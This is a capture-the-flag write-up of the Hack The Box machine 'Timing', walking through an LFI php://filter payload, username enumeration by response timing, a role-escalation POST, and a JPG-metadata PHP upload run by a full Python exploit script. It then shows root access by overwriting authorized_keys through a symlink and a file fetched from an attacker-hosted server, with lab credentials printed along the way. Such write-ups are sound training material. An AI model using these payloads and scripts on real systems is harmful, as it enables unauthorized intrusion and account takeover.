Home Hack The Box Writeup - Timing
Post
Cancel

Hack The Box Writeup - Timing

Port - Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ rustscan -a timing.htb -- -sC -sV -oN port_scan

PORT     STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6ADzomquiIRtawuW9q7/zghf1hv0AAFkbO79vcQkoaUG41EKKUfWdZAvSuQs/SfWcqFybWcfjUPfEzAZJAGQvlTIhZ1JY2fNklRVXPHtn7pa4x8ilt8EnknGefh3ZmlLod+RX+E7tU9uS8TWxZjfsWESVoIxTKmr+6p0mgPP8i166cpQWjdCOev+G8SoI42Yx53uMyy8j1f9FVun/59iQPrRCm3GvriULO9g3inWJXrSR//vu5v9Z4QxLS2uTQPLhkRr6jF4ATcd3PQJeEBAoZMim61pvb2rkFPnNyvZ7IaJtXk8+DxCjGK2QYEh4825oxk+EaYKBc4cTcRYBjQ/Z
|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFTFC/194Ys9zdque1QtiNUgm1zDmvwpZyygR3joLJHC6pRTZtHR6+HwgJHBYC7k7OI8A5qqimTcibJNTFfyfj4=
|   256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAdZXeQCf1/rM6H0MCDVQ9d+24wwNti/hzCsKjyIpvmG
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We get back the following result showing that two port are open:

  • Port 22: SSH version 7.6p1
  • Port 80: Apache version 2.4.29

Port 80

Checking out the running web service on port 80, we see the following website:

As we dont have any valid credentials for the login, let’s enumerate the web application. First, we start a directory/file discovery with e.g. dirbuster or feroxbuster. As we know that the login is a php file (login.php), we can directly scan for further php files by appending the option -x php.

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/machines/timing]
└─$ feroxbuster -u http://timing.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php -d 1

200      115l      264w     3937c http://timing.htb/footer.php
302        0l        0w        0c http://timing.htb/header.php
200        0l        0w        0c http://timing.htb/image.php
302        0l        0w        0c http://timing.htb/index.php
200      177l      374w     5609c http://timing.htb/login.php
302        0l        0w        0c http://timing.htb/logout.php
302        0l        0w        0c http://timing.htb/profile.php
302        0l        0w        0c http://timing.htb/upload.php

This reveals many interesting php files. While we cannot access most of them yet, we are able to access image.php. However, this simply returns an empty page.

This is mostly the case when the endpoint expects some parameters to be provided in the request. My immediate thought here was to fuzz for parameters and also test for LFI as those parameters are often vulnerable. For the fuzzing procedure i used wfuzz:

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ wfuzz -u "http://timing.htb/image.php?FUZZ=../../../../../../../etc/passwd" --hw 0 -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://timing.htb/image.php?FUZZ=../../../../../../../etc/passwd
Total requests: 3132

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                    
=====================================================================

000000897:   200        0 L      3 W        25 Ch       "img" 

There we go! We have indeed found a parameter that apparently is vulnerable to LFI. Let’s check the response in the browser.

Hmmm…. seems like some protection mechanisms are in place. Most likely it’s some kind of blacklist that detects the string ../. But there are some ways to get rid of that e.g. with the php wrapper: Using following payload will base64-encode the response from the server and present it to us. This way we are also able to extract php files.

1
http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd

And it works! We can see a response!

Base64-decoding this reveals that there is a user called aaron.

1
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash

Next step is to leak the php files of the web application. Maybe we can find some more clues on how to get valid credentials.

login.php

Repeating the same steps as above (substitute /etc/passwd with /var/www/html/login.php), we get access to the source code of login.php. Here’s a snippet of the main part:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
...

function createTimeChannel()                                                   
{                                                                                                                               
    sleep(1);  
}                                                                                                                                                                                                                                
include "db_conn.php";                                                                                                                                                                                                                      
                                                                                                     
if (isset($_SESSION['userid'])){                                                                                                                                                                                                            
    header('Location: ./index.php');                                                                                                                                                                                                        
    die();                                                                                                                                                                                                                                  
}                                                                                                                                                                                                                                                                                                                                                   
if (isset($_GET['login'])) {                                                                                                                                                                                                                
    $username = $_POST['user'];                                                                                                                                                                                                             
    $password = $_POST['password'];                                                                                                                                                                                                         
                                                                                                                                                                                                                                            
    $statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");                                                                                                                                                           
    $result = $statement->execute(array('username' => $username));                                                                                                                                                                          
    $user = $statement->fetch();                                                                                                                                                                                                            
                                                                                                                                                                                                                                            
    if ($user !== false) {                                                                                                                                                                                                                  
        createTimeChannel();                                                                                                                                                                                                                
        if (password_verify($password, $user['password'])) {                                                                                                                                                                                
            $_SESSION['userid'] = $user['id'];                                                                                                                                                                                              
            $_SESSION['role'] = $user['role'];                                                                                                                                                                                              
            header('Location: ./index.php');                                                                                                                                                                                                
            return;                                                                                                                                                                                                                         
        }                                                                                                                                                                                                                                   
    }                                                                                                                                                                                                                                       
    $errorMessage = "Invalid username or password entered"; 

...

The code basically takes the username post parameter and makes a database request to see if this user exists. If this user exists, the function createTimeChannel() is called. This function literally just sleeps for 1 second. Afterwards, the password_verify() function is called to verify the provided password. So, due to the createTimeChannel, we get a 1 second delay in the response from the server if we correctly guess the username. This way, we can speed up our bruteforce attack for the username on the login page. Once we have the username, we can then fully focus on the password bruteforcing.

Additionally we get the information that there is file called db_conn.php which gets included in the login.php. Let’s check this out.

db_conn.php

1
2
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

Great! A password for the database. Maybe we can use this for the login.

Login

So, we know that we get 1 sec delay if we correctly guess a username. Therefore i entered some random username iawhduioawhd to get a baseline for the login duration. Afterwards I used a wordlist with common usernames and measured the timings. According to the output, the usernames admin and aaron exist. This is in accordance to our previous findings.

The next step is to try the found password 4_V3Ry_l0000n9_p422w0rd for both users. But unfortunately, no success. I then tried the common things like admin, root, toor etc as passwords (also for both users). I then randomly tried aaron as password for the user aaron as this is a common thing to use the username as password and to my surprise it worked! We now got access to the user dashboard!

Edit Profile

As we now have full access to the web app as a valid user, we are now able to access the Edit profile page (update.php). profile_update.php

Let’s look at the source code of the page (in the browser).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
<script src="js/profile.js"></script>
...

    <div class="container">
        <div class="row">
            <div class="col-md-9 bg-light text-right">

                <button type="button" onclick="updateProfile()" class="btn btn-primary">
                    Update
                </button>

            </div>
        </div>
...

Here we can enter several values. If we press the Update button, the js function updateProfile() is called. This function is defined in js/profile.js. So let’s see what the function does:

1
2
3
4
5
6
7
8
9
10
11
12
function updateProfile() {
    var xml = new XMLHttpRequest();
    xml.onreadystatechange = function () {
        if (xml.readyState == 4 && xml.status == 200) {
            document.getElementById("alert-profile-update").style.display = "block"
        }
    };

    xml.open("POST", "profile_update.php", true);
    xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
}

Alright, so it takes our values that we provide in the textFields and sends a post request to profile_update.php. As we have a way to leak the php source code, we can also see how our data is processed further:

profile_update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

include "auth_check.php";

$error = "";

if (empty($_POST['firstName'])) {
    $error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
    $error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
    $error = 'Email is required.';
} else if (empty($_POST['company'])) {
    $error = 'Company is required.';
}

if (!empty($error)) {
    die("Error updating profile, reason: " . $error);
} else {

    include "db_conn.php";

    $id = $_SESSION['userid'];
    $statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
    $result = $statement->execute(array('id' => $id));
    $user = $statement->fetch();

    if ($user !== false) {

        ini_set('display_errors', '1');
        ini_set('display_startup_errors', '1');
        error_reporting(E_ALL);

        $firstName = $_POST['firstName'];
        $lastName = $_POST['lastName'];
        $email = $_POST['email'];
        $company = $_POST['company'];
        $role = $user['role'];

        if (isset($_POST['role'])) {
            $role = $_POST['role'];
            $_SESSION['role'] = $role;
        }


        // dont persist role
        $sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";

        $stmt = $pdo->prepare($sql);
        $stmt->execute();

        $statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
        $result = $statement->execute(array('id' => $id));
        $user = $statement->fetch();

        // but return it to avoid confusion
        $user['role'] = $role;
        $user['6'] = $role;

        echo json_encode($user, JSON_PRETTY_PRINT);

    } else {
        echo "No user with this id was found.";
    }

As we’ve already seen in the profile.js file, the profile_update.php expects the POST parameters firstName, lastName, email, company. The role is taken from the user session. But, according to the code, we can also provide a POST parameter role. However, this role will not be persistently stored in the database but will only be changed for the current user session. Maybe we can somehow abuse this to change our role to something specific.

Let’s further investigate the existing php files such as upload.php.

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>

Great! So we are somehow able to upload files to the server. This is probably the attack vector for the inital foothold. However, even though we are logged in, we cannot access the upload.php page. This is probably due to some checks in the admin_auth_check.php which is included at the very beginning.

Let’s see what this file does.

admin_auth_check.php

1
2
3
4
5
6
7
include_once "auth_check.php";                                                                                                                                                                                    
                                                                                                                                                                                                                  
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {                                                                                                                                                        
    echo "No permission to access this panel!";                                                                                                                                                                   
    header('Location: ./index.php');                                                                                                                                                                              
    die();                                                                                                                                                                                                        
}         

Ahh … so, we cannot access this page unless we have the role 1. Luckily we already know a way to change our role!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /profile_update.php HTTP/1.1
Host: timing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://timing.htb
Connection: close
Referer: http://timing.htb/profile.php
Cookie: PHPSESSID=ekabd6uk4mjcs101nuk24p8o0m

firstName=hello&lastName=test2&email=test&company=test&role=1

Aaaand we can access it. Now we have to figure out how to bypass the checks for the upload. It seems like we can only upload jpg files. This is checked by using pathinfo and PATHINFO_EXTENSION. This will prevent uploading files called ...jpg.php as it will always check the very last extension. Also, it uses getimagesize() to verify whether the file-type is also semantically correct (correct magic numbers included).

According to this article, we can bypass this by simply including our payload in the metadata fields of the jpg with a tool called exiftool.

However, the remaining problem is that the filename is a hashed md5 value (inputs: uniqid() and time()) which is not predictable… or is it?

1
2
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);

The variable $file_hash is set to the value returned from uniqid(). Uniqid is a function that returns a unique id based on the current time in microseconds. Ufff … this seems hard to bruteforce.

The next part calculates the md5 hash.

1
md5('$file_hash' . time())

But wait a minute!! The input is not the variable $file_hash but the string '$file_hash' … oops. Someone put extra quotes around the variable. Since time() is based on seconds since January 1 1970 00:00:00 GMT, we can actually predict the filename very well.

We simply have to measure the time before and after the request. Afterwards, we measure how long the request/response took and calculate all possible filenames based on the duration.

As the session expires after several minutes and it’s tedious work to re-do all the login, role change etc, I wrote a script that basically automates the whole procedure from the login till the access of the predicted filename (which is accessed through the LFI vulnerability):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import subprocess
import hashlib
import time

UPLOADED_FILENAME="index.jpg"

def generate_filenames(begin,end,filename):
    filename_list = []
    for timing in range(begin,end+5):
        filename_list.append(hashlib.md5(b"$file_hash" + str(timing).encode()).hexdigest() + "_" + filename)
    return filename_list


http_proxy  = "http://127.0.0.1:8080"
proxyDict = {
            "http":http_proxy
        }

#login
print(f"[+] LOGGING IN")
s = requests.Session()
login_url = "http://timing.htb/login.php?login=true"
user_pass = "aaron"
data = {'user':user_pass, 'password':user_pass}
r = s.post(login_url, data=data)

#change user role to 1, such that upload.php can be accessed
print(f"[+] CHANGING USER ROLE")
change_role_url = "http://timing.htb/profile_update.php/"
data = {'firstName':'test','lastName':'test2','email':'test3','company':'test4','role':'1'}
r = s.post(change_role_url, data=data)

#upload file
print(f"[+] UPLOADING FILE")
upload_file_url = "http://timing.htb/upload.php/"
files = {'fileToUpload': open(UPLOADED_FILENAME,'rb')}
values = {'submit': 'UploadImage', 'tmp_name': "test"}


# take begin time here
begin = int(time.time())

r = s.post(upload_file_url, files=files, data=values)#,  proxies=proxyDict, verify=False)

#take end time here
end = int(time.time())

#test if filename exists
print(f"[+] TESTING FILENAMES")
if r.text == 'The file has been uploaded.':
    filename_list = generate_filenames(begin,end, UPLOADED_FILENAME)

    for filename in filename_list:
        response = s.get("http://timing.htb/images/uploads/" + filename)
        if response.status_code == 200:
            print(f"[+] Found file: {filename}")
            r = s.get("http://timing.htb/image.php?img=images/uploads/" + filename)
            print(r.text[:1000])

else:
    print("[!!] Upload did not work.")

Next step is to include the command in the metadata of the jpg file. Here I chose DocumentName as the field.

1
exiftool -DocumentName='<h1>Testing<br><?php system("id"); ?></h1>'

And finally we run the exploit:

There we go! We got RCE!

Initial Foothold

As we can now run arbitrary commands on the system, my first idea was to immediately establish a reverse shell such that I can conveniently interact with the system. However, it turned out this was not possible (at least i did not manage to successfully establish one). I then decided to use the script for skimming through the system. Maybe I could find some passwords or even ssh keys.

After several attempts and failures and stumbled upon something very interesting in the /opt directory. There was a file called source-file-backup.zip.

I unzipped the file … the new directory was called backup.

I then checked what was inside this backup:

Hmmm … this looks like the hosted web application! BUT… there is a .git file. Maybe there are some previous commits that contain sensitive information. Therefore I checked the git logs to get some more information about the previous commits.

Only 1 previous commit called init … let’s reset our local files to the state of this commit:

And now let’s see what the inital content of the db_conn.php file was (as the 2nd commit stated that db_conn was updated).

Ahhh!!! A different password than in the current state.

Maybe we can use the credentials aaron:S3cr3t_unGu3ss4bl3_p422w0Rd to connect to the system via SSH.

It works! We got user access!

Privilege Escalation

Checking the typical things like SUID, sudo, capabilities etc, revealed that we are able to execute /usr/bin/netutils.

Never heard of that. Let’s see what this is.

1
2
aaron@timing:~$ file /usr/bin/netutils
/usr/bin/netutils: Bourne-Again shell script, ASCII text executable

A shell script. Alright, then we can check out the code of it:

1
2
3
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar

Meh … we dont have access to that. So we have to execute the program and see if we can find something.

1
2
3
4
5
6
7
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 

Alright, so we can apparently download something via FTP or HTTP. Looking at the ps aux output in another shell, when we run option 0 or option 1, we can see that [0] FTP uses the command wget -r ftp://<provided IP and filename> and [1] HTTP uses axel http://<provided IP and filename> for downloading the provided file.

Great! We have several options to exploit this. Either we modify the .wgetrc or .axelrc files to specify the outputfile, such that we can overwrite the authorized_keys file with our public ssh key OR we create a symlink to the authorized_keys file and overwrite the content with option 1:

I decided to go for the 2nd approach:

1
2
3
4
5
6
aaron@timing:~$ ln -s /root/.ssh/authorized_keys test
aaron@timing:~$ ls -la
total 36
...
lrwxrwxrwx 1 aaron aaron   21 Dec 22 10:58 test -> /root/.ssh/authorized_keys
...

On my local machine I then created a file called test containing my public ssh key and hosted an HTTP server which makes this file remotely accessible.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
aaron@timing:~$ sudo netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: 10.10.14.33/test
Initializing download: http://10.10.14.33/test
File size: 563 bytes
Opening output file test
Server unsupported, starting from scratch with one connection.
Starting download


Downloaded 563 byte in 0 seconds. (5.48 KB/s)

Afterwards, I can connect to the machine as root via SSH.

PS: For approach 1, it would have been possible to configure the .wgetrc file as following:

1
output_document = /root/.ssh/authorized_keys
This post is licensed under CC BY 4.0 by the author.